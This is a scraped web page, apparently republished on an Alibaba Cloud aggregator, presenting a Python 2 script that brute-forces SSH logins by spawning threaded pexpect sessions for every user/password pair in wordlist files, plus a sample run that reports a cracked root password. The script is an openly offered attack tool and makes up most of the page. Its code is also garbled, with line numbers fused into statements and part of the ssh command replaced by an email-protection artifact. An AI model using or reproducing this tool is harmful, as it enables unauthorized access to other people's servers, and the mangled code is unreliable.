Brute force hack ssh with Python

Source: Internet
Author: User

1 #-*-coding:utf-8-*-2 #Python 2.73 4 Importoptparse,sys,threading5 ImportPexpect6 7PROMPT = ['#','>','/$']8 defssh (host,user,password):9Child = Pexpect.spawn ('ssh%[email protected]%s'%(user,host))Tenret = Child.expect (['(? i) is you sure.*','(? i) Password:', Pexpect. Timeout,pexpect. EOF]) One     #Print Child.before A     ifRET = =0: -Child.sendline ('Yes') -Child.expect ('[Pp]ssword:') the child.sendline (password) -         Try: -Ret0 =Child.expect (PROMPT) -             ifRet0inch(0,1,2): +                 #Print Child.before -                 Print '[+] already connected 0' +                 Print '<*> users are:'+User A                 Print '<*> password is:'+Password at                 #return Child -         except: -             Print '[-] connection failed 0, password wrong! ' -     elifret = = 1: - child.sendline (password) -         Try: inRet1 =Child.expect (PROMPT) -             PrintChild.before to             ifRet1inch(0,1,2): +                 #Print Child.before -                 Print '[+] already connected 1' the                 Print '<*> users are:'+User *                 Print '<*> password is:'+Password $                 #return ChildPanax Notoginseng         except: -             Print '[-] Connection failed 1, user or password error! ' the     Else: +         Print '[-] Connection failed 2' A  the defMain (): +Usage ='Usage:%prog <-h host> <-u user.txt> <-d dictionary.txt>' -Parser = Optparse. Optionparser (usage,version='%prog v1.0') $Parser.add_option ('- H', dest='Target_host', type='string', $help='Target host') -Parser.add_option ('- u', dest='User', type='string', -help='SSH User') theParser.add_option ('- D', dest='Dictionary', type='string', -help='Password Dictionaries')Wuyi(Options,args) =Parser.parse_args () the     if( notOptions.target_host) | ( notOptions.user) | ( notoptions.dictionary): -         PrintParser.usage Wu exit (0) -     Else: AboutTarget_host =Options.target_host $Users =Options.user -passwords =options.dictionary -Users =Open (users) -passwords =Open (Passwords) A     #i = 0 +      forUserinchUsers: theuser = User.strip ('\ r \ n') -         #Print user + str (i) $         #i = i + 1 thePasswords.seek (0)#back to the beginning of the password file the          forPasswordinchpasswords: thePassword = Password.strip ('\ r \ n') the             #Print User -t = Threading. Thread (target=ssh,args=(Target_host,user,password)) in T.start () the  the if __name__=='__main__': AboutMain ()

The test run results are:

Python sshconector.py  -H 127.0.0.1-u user.txt-3.18.0-kali1-amd64 [+] already connected 1<*> user is: root<*> password is: xxxxxxx[-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error!

Brute force hack ssh with Python

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.